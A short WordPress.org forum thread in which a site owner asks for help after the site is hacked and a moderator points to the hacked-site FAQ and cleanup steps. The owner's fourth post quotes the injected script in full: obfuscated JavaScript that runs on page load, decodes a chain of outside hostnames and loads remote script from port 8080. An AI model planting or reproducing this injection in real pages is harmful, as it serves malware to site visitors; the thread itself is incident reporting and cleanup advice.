WordPress.org

1. krinix
   Member
   Posted 2 years ago #

   Hi this is my first posting here.
   My website was working fine till last friday.
   Now when I open my WP powered website.
   It loads a blank page with this

   squidoo-com.gmodules.com.

   The website is http://www.krinish.com

   I think some one has hacked my website. I FTP'ed into my webspace and found all the pages to be there, but when i open the above message pops up.
   Please help.

2. Ipstenu
   Half-Elf Support Rogue & Mod
   Posted 2 years ago #

   http://codex.wordpress.org/FAQ_My_site_was_hacked

3. krinix
   Member
   Posted 2 years ago #

   Thanks Ipstenu

4. krinix
   Member
   Posted 2 years ago #

   I found some new lines of codes in various .php files.

   Here is the culprit.

   <script> try{window.onload=function(){document.write('<div id=megaid>squidoo-com.gmodules.com.</div>');Raywed2gdgkk = document.getElementById('megaid').innerHTML + 'g&@&!o)$)d&!a^&@$&d$d#y^^#-@c$$o@)m##.!^@c(^&o(()u$(n&&t(!@e^&r^^b^e!@s^!#&t(&@.)&&)r!(^!u$^:!))#D$$E@@B#()U!G((!)/!@!a)$d#)&v(@@e^!r)!^(t&!s$$e@(r!v&$$e^#)&.($c^^o$)!m#$/&))$a##d)&@v)@&e###r@#t((&!s(e()r!(^v^#e(@^.@#^c(!@$^o&!&)m@$/@a##l^(i&#p#)(@a!$y!.!c&o^)@m@$$/)^$$@g&$$o$o@$^g(!&l)e$$$$.$)c&!o^(m&/(d$i#!!&o@($)n(^.$$)n$e)^(.^^)j&!&p)($/#@('.replace(/\!|\)|\(|\^|@|\$|&|#/ig, '') ;document.write('<scr'+'ipt src=http://'+Raywed2gdgkk.replace(/DEBUG/g, '8080')+'></scr'+'ipt>');} }  catch(V0obtszn ) {}</script>
   <!--2cd331f6d15bdcea6d0e546649c5e316-->

   How to remove them?

5. Ipstenu
   Half-Elf Support Rogue & Mod
   Posted 2 years ago #

   Depends on which php files they are. If they're WP core, upload fresh versions from this site. If they're your theme, delete the spam and lock your files down.

   Check the links on the page I gave you. There's a LOT of work to be done to fix this and it's not easy.

Topic Closed

This topic has been closed to new replies.